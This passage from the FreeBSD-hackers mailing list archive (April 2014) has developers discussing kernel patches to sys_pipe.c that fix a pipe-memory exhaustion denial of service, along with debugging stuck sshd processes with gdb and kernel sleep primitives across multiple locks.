there should be 8% fd reserved for root, su and setuid family syscalls like in filesystem space or postgresql reserved connections for db admin. > There is an fd reserve already. Report talks about problems with creating a new *pipe*, not any fd in general. That said, supporting a reserve for this one sounds like a good idea and not that hard to implement - one can either play with atomics and double check or just place a mutex-protected check in pipespace_new (before vm_map_find). I implemented the second one, which turned out to be surprisingly ugly. For now it abuses PRIV_MAXPROC and has a reserve taken out of the blue. Thoughts? diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c index 6ba52e3..04c4559 100644 --- a/sys/kern/sys_pipe.c +++ b/sys/kern/sys_pipe.c @@ -102,6 +102,7 @@ __FBSDID("$FreeBSD$"); #include #include #include +#include #include #include #include @@ -200,6 +201,7 @@ static struct filterops pipe_wfiltops = { #define MAXPIPESIZE (2*PIPE_SIZE/3) static long amountpipekva; +static struct mtx amountpipekva_mtx; static int pipefragretry; static int pipeallocfail; static int piperesizefail; @@ -256,6 +258,8 @@ pipeinit(void *dummy __unused) KASSERT(pipeino_unr != NULL, ("pipe fake inodes not initialized")); pipedev_ino = devfs_alloc_cdp_inode(); KASSERT(pipedev_ino > 0, ("pipe dev inode not initialized")); + + mtx_init(&amountpipekva_mtx, "pipe kva mutex", NULL, MTX_DEF); } static int @@ -515,24 +519,29 @@ pipespace_new(cpipe, size) KASSERT(!mtx_owned(PIPE_MTX(cpipe)), ("pipespace: pipe mutex locked")); KASSERT(!(cpipe->pipe_state & PIPE_DIRECTW), ("pipespace: resize of direct writes not allowed")); + + mtx_lock(&amountpipekva_mtx); retry: cnt = cpipe->pipe_buffer.cnt; if (cnt > size) size = cnt; size = round_page(size); - buffer = (caddr_t) vm_map_min(pipe_map); - error = vm_map_find(pipe_map, NULL, 0, - (vm_offset_t *) &buffer, size, 0, VMFS_ANY_SPACE, - VM_PROT_ALL, VM_PROT_ALL, 0); - if (error != KERN_SUCCESS) { + if (amountpipekva + size + 10 * PAGE_SIZE >= maxpipekva) { + if (priv_check_cred(curthread->td_ucred, PRIV_MAXPROC, 0) == 0 && + amountpipekva + size <= maxpipekva) + goto alloc; +recalc: if ((cpipe->pipe_buffer.buffer == NULL) && (size > SMALL_PIPE_SIZE)) { size = SMALL_PIPE_SIZE; pipefragretry++; goto retry; } + + mtx_unlock(&amountpipekva_mtx); + if (cpipe->pipe_buffer.buffer == NULL) { pipeallocfail++; if (ppsratecheck(&lastfail, &curfail, 1)) @@ -542,6 +551,20 @@ retry: } return (ENOMEM); } +alloc: + atomic_add_long(&amountpipekva, size); + mtx_unlock(&amountpipekva_mtx); + + buffer = (caddr_t) vm_map_min(pipe_map); + + error = vm_map_find(pipe_map, NULL, 0, + (vm_offset_t *) &buffer, size, 0, VMFS_ANY_SPACE, + VM_PROT_ALL, VM_PROT_ALL, 0); + if (error != KERN_SUCCESS) { + mtx_lock(&amountpipekva_mtx); + atomic_subtract_long(&amountpipekva, size); + goto recalc; + } /* copy data, then free old resources if we're resizing */ if (cnt > 0) { @@ -563,7 +586,6 @@ retry: cpipe->pipe_buffer.in = cnt; cpipe->pipe_buffer.out = 0; cpipe->pipe_buffer.cnt = cnt; - atomic_add_long(&amountpipekva, cpipe->pipe_buffer.size); return (0); } From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 12:38:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6B65F283 for ; Tue, 8 Apr 2014 12:38:32 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0C9911BC8 for ; Tue, 8 Apr 2014 12:38:31 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s38CcRls064198; Tue, 8 Apr 2014 15:38:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s38CcRls064198 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s38CcRxm064197; Tue, 8 Apr 2014 15:38:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 8 Apr 2014 15:38:27 +0300 From: Konstantin Belousov To: Mateusz Guzik Subject: Re: pipe() resource exhaustion Message-ID: <20140408123827.GW21331@kib.kiev.ua> References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="xWiEbTquLUstXc+R" Content-Disposition: inline In-Reply-To: <20140408121222.GB30326@dft-labs.eu> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 12:38:32 -0000 --xWiEbTquLUstXc+R Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 08, 2014 at 02:12:22PM +0200, Mateusz Guzik wrote: > On Tue, Apr 08, 2014 at 01:02:06PM +0200, Eduardo Morras wrote: > > On Mon, 7 Apr 2014 07:25:22 -0500 > > Mark Felder wrote: > >=20 > > > On 2014-04-07 06:02, Ivan Voras wrote: > > > > Hello, > > > >=20 > > > > Last time I mentioned this it didn't get any attention, so I'll try > > > > again. By accident (via a buggy synergy server process) I found > > > > that a simple userland process can exhaust kernel pipe memory=20 > > > > (kern.ipc.pipekva > > > > sysctl) which as a consequence has that new processes which use pipe > > > > cannot be started, which includes "su", by which an administrator > > > > could kill such a process. > > > >=20 > > >=20 > > > That's a pretty painful local denial of service :( > >=20 > > Yes it is. Perhaps there should be 8% fd reserved for root, su and setu= id family syscalls like in filesystem space or postgresql reserved connecti= ons for db admin. > >=20 >=20 > There is an fd reserve already. Report talks about problems with > creating a new *pipe*, not any fd in general. >=20 > That said, supporting a reserve for this one sounds like a good idea and > not that hard to implement - one can either play with atomics and double > check or just place a mutex-protected check in pipespace_new (before > vm_map_find). >=20 > I implemented the second one, which turned out to be surprisingly ugly. > For now it abuses PRIV_MAXPROC and has a reserve taken out of the blue. >=20 > Thoughts? >=20 =2E.. I think more reasonable behaviour there is to just fall back to the buffered pipe if the direct buffer allocation fails. Look at the pipespace_new() calls in the pipe_create(); probably ignoring the error would do the trick. --xWiEbTquLUstXc+R Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTQ+3CAAoJEJDCuSvBvK1BqH0P+wQnsyeovvCZQzO4/YXTPpfH Y35lDNoBNwNVIoCopU6WjGQem5yjIURiIyqTcdtcE9Dlsxn9+Z+5ocJng/cCVXZV 5zySaqHnenKmQOlBo0GmQmutxa7++cwNaG4q3iFKhoLJtgmD9gTVzlja2S/oZt7h 9KImUdV2SQo0AljLfxMD2Egi064B0w4vyO8Yy3sjZ8XqooRaxPgIdKL+u0GKtshI EZ9o1JRnyljEJtSt948+scwclIx5EnNfbdn7P2+a4Mt1aBk2rvpZZyi6bpTJIxL8 xsKB1ZSxV3BkiQXWuWCgAofFamx8B4z/XA0JSxdsrO6K/OgaVyqHfxPpBakYMn1t HBxfW/Q8ea6RmF8c0QQMJVjf96eAxMK8pmoBdsYSDHrPGmS9f2G+pVpuGKvDrpnr mXlcymjcoANvz8AOOdNzpC5coMpCnpfaAoaKrIU0hW6i0rWQ1N3OB8nlPJdnk0xG z8TSD0E4Kh6LRUze92bhRrTHL5yo2dHF+dgf4DlTShATpT1b8Y9bhBk+s2adL8Kg xUsCaPPt9YjoSiMVhF69LeWnzHVkDJjfNSAY9JQPIvuqOSDpiDvYw9b2togA0/EO BctLgpp2eUOiPWEldQneBURGgHYGQK+QdwOinnIstcYR3NxqqDLxhbwl5+ugirDh T4T+rsFB0TUsjWUeKOhg =bAAf -----END PGP SIGNATURE----- --xWiEbTquLUstXc+R-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 13:07:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3381A9A1 for ; Tue, 8 Apr 2014 13:07:33 +0000 (UTC) Received: from mail-wi0-x22b.google.com (mail-wi0-x22b.google.com [IPv6:2a00:1450:400c:c05::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BBA4A1F7F for ; Tue, 8 Apr 2014 13:07:32 +0000 (UTC) Received: by mail-wi0-f171.google.com with SMTP id q5so6975451wiv.16 for ; Tue, 08 Apr 2014 06:07:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=Blvu/beuisPfGVkEmJIEhp+oV6C8DtoU5LbMZ/bVNwM=; b=jKmm/le0z1o+nbWIUr5eSe3L2BnST6aWrVR3EWNwz5DTbOXsU1+3Ddo5aotmkjfRwR Z4N7MkiN3IB2e3bzE+Hl9tWzIYg+ogBa3O88KTiEsTpQLX+X0IbdM+sUbOyGLQGvZ0gP P9UAeIiH3DZw1D7iN6ih8aiHO7+ih4dX3u+sl2xXd2xPjrsO8ZP1uYu5UFYF9seZTtXP N8chfGEud2aMM5wADOm3dd6nYYdZYIf0vvQwdD7KJwMSBp5IdkpL44V+oeMve8IAQP34 nAlyBz/kx2jGceGNPQU2HV5QA5lc37kfBhbvLTdoHUTcY6AqjABa9Qa/XNv5lhJ9n1Sj 4LAg== X-Received: by 10.181.13.82 with SMTP id ew18mr4512810wid.22.1396962450993; Tue, 08 Apr 2014 06:07:30 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id l10sm2910462wiz.18.2014.04.08.06.07.29 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Tue, 08 Apr 2014 06:07:29 -0700 (PDT) Date: Tue, 8 Apr 2014 15:07:27 +0200 From: Mateusz Guzik To: Konstantin Belousov Subject: Re: pipe() resource exhaustion Message-ID: <20140408130727.GA11363@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , Konstantin Belousov , Eduardo Morras , freebsd-hackers@freebsd.org References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20140408123827.GW21331@kib.kiev.ua> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 13:07:33 -0000 On Tue, Apr 08, 2014 at 03:38:27PM +0300, Konstantin Belousov wrote: > On Tue, Apr 08, 2014 at 02:12:22PM +0200, Mateusz Guzik wrote: > > That said, supporting a reserve for this one sounds like a good idea and > > not that hard to implement - one can either play with atomics and double > > check or just place a mutex-protected check in pipespace_new (before > > vm_map_find). > > > ... > > I think more reasonable behaviour there is to just fall back to the > buffered pipe if the direct buffer allocation fails. Look at the > pipespace_new() calls in the pipe_create(); probably ignoring the error > would do the trick. Yeah, should have checked the caller. Interesting though how the error was made fatal in thiscase. Anyhow, the following hack following your suggestion indeed makes the issue go away for me: diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c index 6ba52e3..5930cf2 100644 --- a/sys/kern/sys_pipe.c +++ b/sys/kern/sys_pipe.c @@ -647,19 +647,21 @@ pipe_create(pipe, backing) struct pipe *pipe; int backing; { - int error; if (backing) { + /* + * Note that these functions can fail, but we ignore + * the error as it is not fatal and could be provoked + * by users. + */ if (amountpipekva > maxpipekva / 2) - error = pipespace_new(pipe, SMALL_PIPE_SIZE); + (void)pipespace_new(pipe, SMALL_PIPE_SIZE); else - error = pipespace_new(pipe, PIPE_SIZE); - } else { - /* If we're not backing this pipe, no need to do anything. */ - error = 0; + (void)pipespace_new(pipe, PIPE_SIZE); } + pipe->pipe_ino = -1; - return (error); + return (0); } /* ARGSUSED */ From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 13:24:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 870C8E6A for ; Tue, 8 Apr 2014 13:24:51 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 03835114F for ; Tue, 8 Apr 2014 13:24:50 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s38DOgVB073878; Tue, 8 Apr 2014 16:24:42 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s38DOgVB073878 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s38DOgtR073877; Tue, 8 Apr 2014 16:24:42 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 8 Apr 2014 16:24:42 +0300 From: Konstantin Belousov To: Mateusz Guzik Subject: Re: pipe() resource exhaustion Message-ID: <20140408132442.GZ21331@kib.kiev.ua> References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> <20140408121222.GB30326@dft-labs.eu> <20140408123827.GW21331@kib.kiev.ua> <20140408130727.GA11363@dft-labs.eu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jOWcLJj2EpBZWei/" Content-Disposition: inline In-Reply-To: <20140408130727.GA11363@dft-labs.eu> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org, Eduardo Morras X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 13:24:51 -0000 --jOWcLJj2EpBZWei/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 08, 2014 at 03:07:27PM +0200, Mateusz Guzik wrote: > On Tue, Apr 08, 2014 at 03:38:27PM +0300, Konstantin Belousov wrote: > > On Tue, Apr 08, 2014 at 02:12:22PM +0200, Mateusz Guzik wrote: > > > That said, supporting a reserve for this one sounds like a good idea = and > > > not that hard to implement - one can either play with atomics and dou= ble > > > check or just place a mutex-protected check in pipespace_new (before > > > vm_map_find). > > >=20 > > ... > >=20 > > I think more reasonable behaviour there is to just fall back to the > > buffered pipe if the direct buffer allocation fails. Look at the > > pipespace_new() calls in the pipe_create(); probably ignoring the error > > would do the trick. >=20 > Yeah, should have checked the caller. >=20 > Interesting though how the error was made fatal in thiscase. >=20 > Anyhow, the following hack following your suggestion indeed makes the > issue go away for me: >=20 > diff --git a/sys/kern/sys_pipe.c b/sys/kern/sys_pipe.c > index 6ba52e3..5930cf2 100644 > --- a/sys/kern/sys_pipe.c > +++ b/sys/kern/sys_pipe.c > @@ -647,19 +647,21 @@ pipe_create(pipe, backing) > struct pipe *pipe; > int backing; > { > - int error; > =20 > if (backing) { > + /* > + * Note that these functions can fail, but we ignore > + * the error as it is not fatal and could be provoked > + * by users. > + */ > if (amountpipekva > maxpipekva / 2) > - error =3D pipespace_new(pipe, SMALL_PIPE_SIZE); > + (void)pipespace_new(pipe, SMALL_PIPE_SIZE); > else > - error =3D pipespace_new(pipe, PIPE_SIZE); > - } else { > - /* If we're not backing this pipe, no need to do anything. */ > - error =3D 0; > + (void)pipespace_new(pipe, PIPE_SIZE); > } > + > pipe->pipe_ino =3D -1; > - return (error); > + return (0); > } > =20 Yes, this looks right. I think it does not make sense to continue returning an error from the pipe_create() after the patch. The change would become bigger, but the code for pipe_create() and pipe_paircreate collapse. It seems that pipe_paircreate() can be changed to return void as well, but the benefits would be smaller. --jOWcLJj2EpBZWei/ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTQ/iZAAoJEJDCuSvBvK1BBfQQAI7tkEtMy0vu8RcyAWqnJ8um s1U+4k3erTlFOVmep1TuxYuqyyyrssoKtBMBXec3Vai+DRu+ahuDZH98wEWMNNag y0vRvarKdAB6JYSW6N/566Ki/L39aDxlFOY6eRwyDcSOX2p5nUFjGgOpgi8bwZEb MhoFYjOJkzAU3Gr3LpltirPC5k7r2jDKUU7UE6kUYDTZvpYNmqTC8BEXyOTV8O5F LDq9+zSzGtFpSc5cHvylDKTknjY4OsfnWcdS3IEOvWThwEc2uFBNW3HQ144W4ZjE BhNCnZQDSKmckqSgbn6fbqX0d5G3DJC4qy2dyl7yZBLaqqcnyt8jBdmIUPGTwu9a WVRGRux59PHeKp6f9OhLg7tpgFEsRNyMRVAS8wfsLGOgJm1yefdFkixnSCTCR4Pr 5pF2LmXmtKYaGuMvVpK9ctf8Uaaop+GddG//+0tzX5mgO5pOSr0s0fGtq++8/Vxm OAq5zuEAdHRWCL0/DgSa8JQyTVcEIy/CjRqrsNopnyVY/FfHkz4rtITrYQIpS2Vk kFLmJayC2F50Sd7c5DcGdtEWX9NPDSnUGXdzldpTBQd3POUgGW5bT8DNWu/YQwf/ GMxzHgrnHn8+ZoVMaMgtpVygOVRtzwU1PTh6PPbYMpkJToNN1nfbaYh4zGUCb0oc FGy0n1AfG+JKzVIwqeME =xrP+ -----END PGP SIGNATURE----- --jOWcLJj2EpBZWei/-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 13:37:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 803362BF for ; Tue, 8 Apr 2014 13:37:43 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5A094123D for ; Tue, 8 Apr 2014 13:37:43 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 4FDA6B962; Tue, 8 Apr 2014 09:37:42 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Tue, 8 Apr 2014 09:36:30 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404071148.10157.jhb@freebsd.org> <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> In-Reply-To: <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404080936.30651.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 08 Apr 2014 09:37:42 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 13:37:43 -0000 On Tuesday, April 08, 2014 5:04:24 am Karl Pielorz wrote: > > --On 07 April 2014 11:48 -0400 John Baldwin wrote: > > > Ok, do you have a matching /usr/src on the boxes in question? If so, > > please do this: > > > > cd /usr/src/lib/libc > > make DEBUG_FLAGS=-g all install > > That just installs stuff, not rebuild it right? (Looks to have installed > non-stripped versions?). Humm, it needs to build new ones with debug symbols. If it doesn't, you'll need to do 'make clean' before the other makes. I think you should be fine to do that (make clean then the command above) for those directories and restart gdb without having to restart your sshd. Please also add '/usr/src/libexec/rtld-elf' to the list of directories where you do this. Then do 'detach' in gdb, exit gdb and restart it. > > Then re-run the scan to get a stuck sshd. Once that happens, please > > attach to the top-most stock sshd (the one in "urdlck") with gdb > > (gdb /usr/sbin/sshd ) and run 'bt' and reply with the output. > > Ok, that gives: > > " > (gdb) bt > #0 0x00000008038ea89c in _umtx_op_err () from /lib/libthr.so.3 > #1 0x00000008038e104f in __thr_rwlock_rdlock () from /lib/libthr.so.3 > #2 0x00000008038e821c in _thr_rtld_init () from /lib/libthr.so.3 > #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 > #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 > #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 > #6 0x0000000000000246 in ?? () > #7 0x0000000000000000 in ?? () Hmmm, that is useful even though the debug symbols aren't there. Please do the rebuilds I asked for above and re-attach gdb and get 'bt' again. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 14:01:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 83E15D44; Tue, 8 Apr 2014 14:01:48 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5CFC6152A; Tue, 8 Apr 2014 14:01:48 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 75090B926; Tue, 8 Apr 2014 10:01:47 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Multiple locks and missing wakeup. Date: Tue, 8 Apr 2014 10:01:31 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> In-Reply-To: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201404081001.31219.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Tue, 08 Apr 2014 10:01:47 -0400 (EDT) Cc: hackers@freebsd.org, Edward Tomasz =?utf-8?q?Napiera=C5=82a?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 14:01:48 -0000 On Tuesday, April 08, 2014 2:34:30 am Edward Tomasz Napiera=C5=82a wrote: > Let's say I have a kernel thread processing elements from a queue, > sleeping until there is work to do; something like this: >=20 > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); >=20 > Now, is there some way to make it work with two lists, protected > by different mutexes? The mutex part is crucial here; the whole > point of this is to reduce lock contention on one of the lists. The > following code would result in a missing wakeup: All our sleep primitives in the kernel only accept a single wait channel. It sounds like you want something more like select() or poll() where you can specify multiple wait channels. There isn't a good way to do that currently. You could write one, but it would be a bit hard to do correctly. In practice you'd end up implementing something that boiled down to having a single wait channel with a common lock that protected it so you could do something like: for (;;) { mtx_lock(&combo_lock); while (LIST_EMPTY(&list1) && LIST_EMPTY(&list2)) sleep(&shared_cv, &combo_lock); mtx_unlock(&combo_lock); /* Drain each list */ } The code to queue an item would then need to do something like: mtx_lock(&mtx1); mtx_lock(&combo_lock); LIST_INSERT(&list1, ...); wakeup(&shared_cv); mtx_unlock(&combo_lock); wakeup(&list1); /* If other waiters */ mtx_unlock(&mtx1); Another way to do this would be to be a bit more poll-like (e.g. if you wanted a generic mechanism for this) where you have some sort of 'poller' structure and you set a flag before starting a scan of all your backends. Any wakeup that occurs while scanning clears the flag, and you only sleep if the flag is still set at the end of the scan, etc. =2D-=20 John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 15:33:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2BA7F408; Tue, 8 Apr 2014 15:33:11 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id C48211E6E; Tue, 8 Apr 2014 15:33:10 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s38FX3Dx058140 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Apr 2014 16:33:04 +0100 (BST) Date: Tue, 08 Apr 2014 16:33:03 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <63EFBCBD259A410BB4D71742@Mail-PC.tdx.co.uk> In-Reply-To: <201404080936.30651.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404071148.10157.jhb@freebsd.org> <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> <201404080936.30651.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 15:33:11 -0000 --On 08 April 2014 09:36 -0400 John Baldwin wrote: > Humm, it needs to build new ones with debug symbols. If it doesn't, > you'll need to do 'make clean' before the other makes. I think you > should be fine to do that (make clean then the command above) for those > directories and restart gdb without having to restart your sshd. Please > also add '/usr/src/libexec/rtld-elf' to the list of directories where you > do this. Then do 'detach' in gdb, exit gdb and restart it. Ok, it hit an issue with libc (complained it couldn't find yp.h - but I fixed that) and it compiled up OK then. The rest all recompiled / installed OK, and I included the rtld-elf code. > Hmmm, that is useful even though the debug symbols aren't there. Please > do the rebuilds I asked for above and re-attach gdb and get 'bt' again. Ok, that now nets: " ... [Switching to LWP 100218] 0x00000008038ea89c in __error () from /lib/libthr.so.3 (gdb) bt #0 0x00000008038ea89c in __error () from /lib/libthr.so.3 #1 0x00000008038e104f in __thr_rwlock_rdlock (rwlock=0x803af9480, flags=, tsp=) at /usr/src/lib/libthr/thread/thr_umtx.c:277 #2 0x00000008038e821c in _thr_rtld_rlock_acquire (lock=0x803af9480) at atomic.h:143 #3 0x000000080064f9a2 in rlock_acquire 